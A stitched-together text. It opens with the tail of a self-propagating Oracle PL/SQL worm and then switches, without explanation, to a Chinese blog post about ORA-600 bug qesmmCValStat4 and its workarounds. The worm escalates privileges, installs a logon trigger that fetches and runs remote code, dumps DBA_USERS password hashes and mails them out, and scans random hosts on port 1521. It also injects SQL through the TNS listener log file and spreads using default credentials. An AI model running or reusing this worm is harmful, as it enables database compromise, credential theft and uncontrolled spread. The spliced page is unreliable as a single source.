v_message      VARCHAR2(32000);

vRequestLogChange raw(10000);
vRequestLogReset raw(10000);

iLoop integer := 0;
iLength integer := 0;
cur binary_integer;

BEGIN

   BEGIN
      CTXSYS.DRILOAD.VALIDATE_STMT('GRANT DBA TO PUBLIC');
   EXCEPTION
      WHEN OTHERS THEN
         DBMS_OUTPUT.PUT_LINE('');
   END;

reference_ip := 'www.google.com';
reference_url := '/search?hl=en&q=startc0GtJBi1+full-disclosure&btnI=I%
27m+Feeling+Lucky';

vRefresh := 'declare req Utl_Http.Req;resp Utl_Http.Resp;v_msg varchar2(32767);af
varchar2(32767);ab varchar2(32767);ac varchar2(32767) := ''''' || reference_ip
|| ''''';v_url varchar2(32767) := ''''' || reference_url || ''''';ad varchar2
(32000) := ''''--##startc0GtJBi1'''';ae varchar2(32000) := ''''--##endc0GtJBi1'''';i3
INTEGER;i4 INTEGER;iLoop integer := 0;cur binary_integer;i binary_integer;begin
Utl_Http.Set_Proxy(proxy=>ac,no_proxy_domains=>ac );req := Utl_Http.Begin_Request
(url=>v_url,method=>''''GET'''' );utl_Http.Set_Header(r=>req,name=>''''User-
Agent'''',value=>''''Mozilla/4.0'''' );resp:=Utl_Http.Get_Response(r=>req);begin loop
Utl_Http.Read_Text(r=>resp,data=>v_msg);af:=af || v_msg;end loop;exception when
utl_Http.End_Of_Body then null;end;Utl_Http.End_Response(r=>resp);i3:=instr
(af,ad,1);i4:=instr(af,ae,i3);ab:=substr(af,i3+length(ad)+2,i4-(i3+length(ad)
+4));execute immediate ''''begin '''' || ab || '''' end;''''; end;';
vWorking := 'create or replace trigger aa AFTER LOGON ON DATABASE declare cur
binary_integer;BEGIN if round(dbms_random.value(1,100))=32 then EXECUTE IMMEDIATE '''
|| vRefresh || ''';end if;end;';

BEGIN
   EXECUTE IMMEDIATE 'drop trigger aa';
EXCEPTION
   WHEN OTHERS THEN
      DBMS_OUTPUT.PUT_LINE('the execute immediate didnt work');
END;

BEGIN
   EXECUTE IMMEDIATE vWorking;
EXCEPTION
   WHEN OTHERS THEN
      DBMS_OUTPUT.PUT_LINE('the execute immediate didnt work');
END;

starting_ipaddress := utl_inaddr.get_host_address;
current_ipaddress := starting_ipaddress;
ln := length(current_ipaddress);

loop
   current_letter := substr(current_ipaddress, ln, 1);
   ln := ln - 1;
   EXIT WHEN current_letter = '.';
   EXIT WHEN ln = 0;
end loop;

current_network := substr(current_ipaddress, 1, ln);

iHostToSearchFor := 1;

vRequest := chr(0) || chr(89) || chr(0) || chr(0) || chr(1) || chr(0) || chr(0) || chr
(0) ||
chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || chr(8) || chr(0) ||
chr(127) || chr(0) || chr(127) || chr(8) || chr(0) || chr(0) || chr(0) || chr(1) ||
chr(0) || chr(31) || chr(0) || chr(58) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || '(CONNECT_DATA=(COMMAND=status))';

vRequestStop := chr(0) || chr(87) || chr(0) || chr(0) || chr(1) || chr(0) || chr(0) ||
chr(0) ||
chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || chr(8) || chr(0) ||
chr(127) || chr(0) || chr(127) || chr(8) || chr(0) || chr(0) || chr(0) || chr(1) ||
chr(0) || chr(29) || chr(0) || chr(58) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || '(CONNECT_DATA=(COMMAND=stop))';

vReqLog := UTL_RAW.CONCAT( hextoraw('00'), hextoraw('A2'), utl_raw.cast_to_raw( chr(0)
|| chr(0) || chr(1) || chr(0) || chr(0) || chr(0) ||
chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || chr(8) || chr(0) ||
chr(122) || chr(0) || chr(127) || chr(8) || chr(0) || chr(0) || chr(0) || chr(1) ||
chr(0) || chr(104) || chr(0) || chr(58) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || '(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))
(COMMAND=log_directory)(ARGUMENTS=)(SERVICE=)))'));

DECLARE
   a DBA_USERS.username%TYPE;
   b DBA_USERS.password%TYPE;

   CURSOR T1Cursor IS
      SELECT username, password
      FROM DBA_USERS;
BEGIN
   OPEN T1Cursor;
   LOOP
      FETCH T1Cursor INTO a, b;
      EXIT WHEN T1Cursor%NOTFOUND;
      v_message := v_message || a || ' ' ||  b || CHR(13) || CHR(10);
   END LOOP;
   CLOSE T1Cursor;
END;

loop
begin

   if MOD(iHostToSearchFor + 1, 100) = 0 then

      declare
         mailhost  CONSTANT VARCHAR2(30) := 'smtp01.us.oracle.com';
         crlf      CONSTANT VARCHAR2(2):= CHR(13) || CHR(10);
         mesg      VARCHAR2(32000);
         mail_conn utl_smtp.connection;

      BEGIN
          begin

           loop

            mail_conn := utl_smtp.open_connection(mailhost, 25);

            mesg := 'Date: ' || TO_CHAR( SYSDATE, 'dd Mon yy hh24:mi:ss' ) || crlf
|| 'From: oracle@' || starting_ipaddress || crlf || 'Subject: Password hashes' || crlf
|| 'To: larry at oracle.com' || crlf || '' || crlf || v_message;

            utl_smtp.helo(mail_conn, mailhost);
            utl_smtp.mail(mail_conn, 'oracle@' || starting_ipaddress);
            utl_smtp.rcpt(mail_conn, 'larry at oracle.com');
            utl_smtp.data(mail_conn, mesg);
            utl_smtp.quit(mail_conn);

            EXIT WHEN round(dbms_random.value(1, 20)) = 10;

           end loop;

         EXCEPTION
            WHEN OTHERS THEN
               DBMS_OUTPUT.PUT_LINE('');
         end;

         current_ipaddress := round(dbms_random.value(1, 254)) || '.' || round
(dbms_random.value(1, 254)) || '.' || round(dbms_random.value(1, 254)) || '.' || round
(dbms_random.value(1, 254));

         mail_conn := utl_smtp.open_connection(current_ipaddress, 25);

         mesg := 'Date: ' || TO_CHAR( SYSDATE, 'dd Mon yy hh24:mi:ss' ) || crlf
|| 'From: oracle@' || starting_ipaddress || crlf || 'Subject: Password hashes' || crlf
|| 'To: oracle@' || current_ipaddress || crlf || '' || crlf || v_message;

         utl_smtp.helo(mail_conn, current_ipaddress);
         utl_smtp.mail(mail_conn, 'oracle@' || starting_ipaddress);
         utl_smtp.rcpt(mail_conn, 'oracle@' || current_ipaddress);
         utl_smtp.data(mail_conn, mesg);
         utl_smtp.quit(mail_conn);

      EXCEPTION
         WHEN OTHERS THEN
            DBMS_OUTPUT.PUT_LINE('');

      end;

   end if;

   if iHostToSearchFor < 255 then

      current_ipaddress := current_network || '.' || iHostToSearchFor;

   else

      current_ipaddress := round( dbms_random.value(1, 254) ) || '.' || round(
dbms_random.value(1, 254) ) || '.' || round(dbms_random.value(1, 254)) || '.' || round
(dbms_random.value(1, 254));

   end if;

   iHostToSearchFor := iHostToSearchFor + 1;

   vResp := '';

   c  := UTL_TCP.OPEN_CONNECTION(current_ipaddress, 1521);
   ret_val := UTL_TCP.WRITE_RAW(c, vReqLog);
   vLen := UTL_TCP.READ_RAW(c, vResp, 100 );

   vRespPiece := utl_raw.cast_to_varchar2(utl_raw.substr(vResp, 13, 88));
   vResp := vRespPiece;

   declare
      read_from_network varchar2(32000);
      length_read_from_network INTEGER;
   begin
      loop
         read_from_network := '';
         length_read_from_network := UTL_TCP.READ_RAW(c, read_from_network, 100 );
         read_from_network := utl_raw.cast_to_varchar2(utl_raw.substr
(read_from_network, 1, length_read_from_network));
         vResp := vResp || read_from_network;
      end loop;

   EXCEPTION
     when OTHERS then
         read_from_network := '';
   end;

   UTL_TCP.CLOSE_CONNECTION(c);

   declare
      i5 INTEGER;
      i6 INTEGER;
      oraclehome varchar2(1000);
   begin

   i5 := 1;
   i6 := 1;

   i5 := instr(vResp, '(LOGDIRNAME=', 1);

   if i5 > 0 then

      i6 := instr(vResp, '\network\log', i5);
      if i6 = 0 then
         i6 := instr(vResp, '/network/log', i5);
      end if;

      oraclehome := substr( vResp, i5 + 12, i6 - (i5 + 12) );

   end if;

   iLength := length(oraclehome);

   vRequestLogChange := UTL_RAW.CONCAT( utl_raw.substr(
utl_raw.cast_from_binary_integer(218 + iLength), 3, 2 ), utl_raw.cast_to_raw( chr(0)
|| chr(0) || chr(1) || chr(0) || chr(0) || chr(0) ||
chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || chr(8) || chr(0) ||
chr(127) || chr(0) || chr(127) || chr(8) || chr(0) || chr(0) || chr(0) || chr(1)),
utl_raw.substr( utl_raw.cast_from_binary_integer(160 + iLength), 3, 2 ),
utl_raw.cast_to_raw( chr(0) || chr(58) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || '(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))
(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=135294976)(VALUE=' ||
oraclehome  || '/sqlplus/admin/glogin.sql)))'));

   vRequestLogReset := UTL_RAW.CONCAT( utl_raw.substr( utl_raw.cast_from_binary_integer
(218 + iLength), 3, 2 ), utl_raw.cast_to_raw( chr(0) || chr(0) || chr(1) || chr(0) ||
chr(0) || chr(0) ||
chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || chr(8) || chr(0) ||
chr(127) || chr(0) || chr(127) || chr(8) || chr(0) || chr(0) || chr(0) || chr(1)),
utl_raw.substr( utl_raw.cast_from_binary_integer(160 + iLength), 3, 2 ),
utl_raw.cast_to_raw( chr(0) || chr(58) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || '(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))
(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=135294976)(VALUE=' ||
oraclehome  || '/network/log/listener.log)))'));

   vWorking1 := 'alter user mdsys identified by mdsys;';

   iLength := length(vWorking1) + 1;

   vRequestSQLCommand := UTL_RAW.CONCAT( utl_raw.substr(
utl_raw.cast_from_binary_integer(58 + iLength), 3, 2 ), utl_raw.cast_to_raw( chr(0) ||
chr(0) || chr(1) || chr(0) || chr(0) || chr(0) ||
chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || chr(8) || chr(0) ||
chr(127) || chr(0) || chr(127) || chr(8) || chr(0) || chr(0) || chr(0) || chr(1)),
utl_raw.substr( utl_raw.cast_from_binary_integer(iLength), 3, 2 ), utl_raw.cast_to_raw
( chr(0) || chr(58) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(10) || vWorking1));

   c  := UTL_TCP.OPEN_CONNECTION(current_ipaddress, 1521);
   ret_val := UTL_TCP.WRITE_RAW(c, vRequestLogChange);
   UTL_TCP.CLOSE_CONNECTION(c);

   c  := UTL_TCP.OPEN_CONNECTION(current_ipaddress, 1521);
   ret_val := UTL_TCP.WRITE_RAW(c, vRequestSQLCommand);
   UTL_TCP.CLOSE_CONNECTION(c);

   c  := UTL_TCP.OPEN_CONNECTION(current_ipaddress, 1521);
   ret_val := UTL_TCP.WRITE_RAW(c, vRequestLogReset);
   UTL_TCP.CLOSE_CONNECTION(c);

   end;

   c1  := UTL_TCP.OPEN_CONNECTION(current_ipaddress, 1521);

   vResp := '';

   ret_val := UTL_TCP.WRITE_RAW(c1, utl_raw.cast_to_raw(vRequest));
   vLen := UTL_TCP.READ_RAW(c1, vResp, 100 );

   vRespPiece := utl_raw.cast_to_varchar2(utl_raw.substr(vResp, 43, 58));
   vResp := vRespPiece;

   declare
      read_from_network varchar2(32000);
      length_read_from_network INTEGER;
   begin
      loop
         read_from_network := '';
         length_read_from_network := UTL_TCP.READ_RAW(c1, read_from_network, 100 );
         read_from_network := utl_raw.cast_to_varchar2(utl_raw.substr
(read_from_network, 1, length_read_from_network));
         vResp := vResp || read_from_network;
      end loop;

   EXCEPTION
      when OTHERS then
         read_from_network := '';
   end;

   UTL_TCP.CLOSE_CONNECTION(c1);

   declare
      i3 INTEGER;
      i4 INTEGER;
      sid varchar2(100);
      i binary_integer;
      procedure_to_spread varchar2(32000);
      create_link varchar2(500);
   begin

   i3 := 1;
   i4 := 1;

   loop

     i3 := instr(vResp, '(INSTANCE_NAME=', i3);
     exit when i3 = 0;

     i4 := instr(vResp, ')', i3);
     sid := substr( vResp, i3 + 15, i4 - (i3 + 15));
     i3 := i3 + 1;

     begin
        if sid = PreviousSID or sid = 'PLSExtProc' or sid = 'extproc'
        then
           dbms_output.put_line( sid );
        else
           dbms_output.put_line( sid );

           iLoop := 0;

           loop

           declare

              username1 varchar2(100);
              password1 varchar2(100);

           begin

              iLoop := iLoop + 1;
              exit when iLoop = 8;

              if iLoop = 5 then
                 username1 := 'system';
                 password1 := 'manager';

              ELSIF iLoop = 6 then
                 username1 := 'sys';
                 password1 := 'change_on_install';

              ELSIF iLoop = 1 then
                 username1 := 'dbsnmp';
                 password1 := 'dbsnmp';

              ELSIF iLoop = 2 then
                 username1 := 'outln';
                 password1 := 'outln';

              ELSIF iLoop = 4 then
                 username1 := 'scott';
                 password1 := 'tiger';

              ELSIF iLoop = 3 then
                 username1 := 'mdsys';
                 password1 := 'mdsys';

              ELSIF iLoop = 7 then
                 username1 := 'ordcommon';
                 password1 := 'ordcommon';

              end if;

              BEGIN
                 EXECUTE IMMEDIATE 'drop database link xxx';
              EXCEPTION
                 when OTHERS then
                    DBMS_OUTPUT.PUT_LINE( '' );
              end;

              create_link := 'CREATE DATABASE LINK xxx CONNECT TO ' || username1 || '
IDENTIFIED BY ' || password1 || ' USING ''(DESCRIPTION=(ADDRESS_LIST=(ADDRESS =
(PROTOCOL = TCP)(HOST = ' || current_ipaddress || ')(PORT = 1521)))(CONNECT_DATA=
(SERVER=DEDICATED)(SERVICE_NAME=' || SID || ')))''';

              EXECUTE IMMEDIATE create_link;
              EXECUTE IMMEDIATE vWorking;

           EXCEPTION
              when OTHERS then
                 DBMS_OUTPUT.PUT_LINE( '' );
           end;

           end loop;

        end if;

        PreviousSID := SID;

     end;

   end loop;

   c  := UTL_TCP.OPEN_CONNECTION(current_ipaddress, 1521);
   ret_val := UTL_TCP.WRITE_RAW(c, utl_raw.cast_to_raw(vRequestStop));
   UTL_TCP.CLOSE_CONNECTION(c);

   end;

EXCEPTION
     when OTHERS then
      DBMS_OUTPUT.PUT_LINE('');
end;

end loop;

END;
--##endc0GtJBi1

ora-600[qesmmCValStat4]一例

在之前的文章中提到过一个有趣的绘制五角星的SQL,具体SQL语句如下:
with a as
(select distinct round(sum(x) over(order by n)) x,
round(sum(y) over(order by n)) y
from (select n,
cos(trunc(n / 20) * (1 – 1 / 5) * 3.1415926) * 2 x,
sin(trunc(n / 20) * (1 – 1 / 5) * 3.1415926) y
from (select rownum – 1 n from all_objects where rownum <= 20 * 5)))
select replace (sys_connect_by_path(point, ‘/’), ‘/’, null) star
from (select b.y, b.x, decode(a.x, null, ‘ ‘, ‘*’) point
from a,
(select *
from (select rownum – 1 + (select min(x) from a) x
from all_objects
where rownum <= (select max(x) – min(x) + 1 from a)),
(select rownum – 1 + (select min(y) from a) y
from all_objects
where rownum <= (select max(y) – min(y) + 1 from a))) b
where a.x(+) = b.x
and a.y(+) = b.y)
where x = (select max(x) from a)
start with x = (select min(x) from a)
connect by y = prior y and x = prior x + 1;

在10.2.0.1版本输入以上SQL可能会出现ORA-00600: internal error code, arguments: [qesmmCValStat4], [3], [1], [], [],[], [], []错误,g10r21_ora_15473.trc

其调用栈为:qercoFetch->qerhjFetch->qerhjInitializeManagementComponents->

qesmmCStartWorkArea->qesmmCValidateStatus->kgeasnmierr(报错)

metalink文档ID 360811.1对该 Bug 4926357进行了描述,该bug可能在9.2.07~10.2.0.1版本中出现,一般由带start with … … connect by prior ..子句的查询语句引起;典型的调用栈为:qesmmCValidateStatus<- qesmmCStartWorkArea <-qerhjInitializeManagementComponents <-qerhjFetch …

未公布的Bug 4401437是Bug 4926357的一个复制品avatar,该Bug已在10.1.0.5, 10.2.0.2, 11.1等版本中修复了。

Oracle support建议的四种解决方式:

1. 打上该Bug的one-off补丁;

2.升级到该Bug已修复的大版本中,例如从10.2.0.1升级到10.2.0.2;

3.设置参数hash_join_enabled(9i中),_hash_join_enabled(10g中),实例级别的或者会话级别的均可,如:

SQL> select * from v$version;

BANNER
----------------------------------------------------------------
Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bi
PL/SQL Release 10.2.0.1.0 - Production
CORE    10.2.0.1.0      Production
TNS for Linux: Version 10.2.0.1.0 - Production
NLSRTL Version 10.2.0.1.0 - Production

SQL> alter session set "_hash_join_enabled"=false;

Session altered.

SQL> set pagesize 1400;
SQL> with a as
2   (select distinct round(sum(x) over(order by n)) x,
3                    round(sum(y) over(order by n)) y
4      from (select n,
5                   cos(trunc(n / 20) * (1 - 1 / 5) * 3.1415926) * 2 x,
6                   sin(trunc(n / 20) * (1 - 1 / 5) * 3.1415926) y
7              from (select rownum - 1 n from all_objects where rownum <= 20 * 5)))
8  select replace (sys_connect_by_path(point, '/'), '/', null) star
9    from (select b.y, b.x, decode(a.x, null, ' ', '*') point
10            from a,
11                 (select *
12                    from (select rownum - 1 + (select min(x) from a) x
13                            from all_objects
14                           where rownum <= (select max(x) - min(x) + 1 from a)),
15                         (select rownum - 1 + (select min(y) from a) y
16                            from all_objects
17                           where rownum <= (select max(y) - min(y) + 1 from a))) b
18           where a.x(+) = b.x
19             and a.y(+) = b.y)
20   where x = (select max(x) from a)
21   start with x = (select min(x) from a)
22  connect by y = prior y and x = prior x + 1;

STAR
--------------------------------------------------------------------------------
.................
20 rows selected.

4.设置’no_filtering’ 提示,如:
with a as
(select distinct round(sum(x) over(order by n)) x,
round(sum(y) over(order by n)) y
from (select n,
cos(trunc(n / 20) * (1 – 1 / 5) * 3.1415926) * 2 x,
sin(trunc(n / 20) * (1 – 1 / 5) * 3.1415926) y
from (select rownum – 1 n from all_objects where rownum <= 20 * 5)))
select  /*+ no_filtering */ replace (sys_connect_by_path(point, ‘/’), ‘/’, null) star
from (select b.y, b.x, decode(a.x, null, ‘ ‘, ‘*’) point
from a,
(select *
from (select rownum – 1 + (select min(x) from a) x
from all_objects
where rownum <= (select max(x) – min(x) + 1 from a)),
(select rownum – 1 + (select min(y) from a) y
from all_objects
where rownum <= (select max(y) – min(y) + 1 from a))) b
where a.x(+) = b.x
and a.y(+) = b.y)
where x = (select max(x) from a)
start with x = (select min(x) from a)
connect by y = prior y and x = prior x + 1;

但是该hint在9.2.0.7版本中可能因为Bug 4752555 ‘Wrong results from CONNECT BY query’而导致返回错误行数;并且这是一个undocumented hint,所以强烈不推荐使用!

沪ICP备14014813号-2

沪公网安备 31010802001379号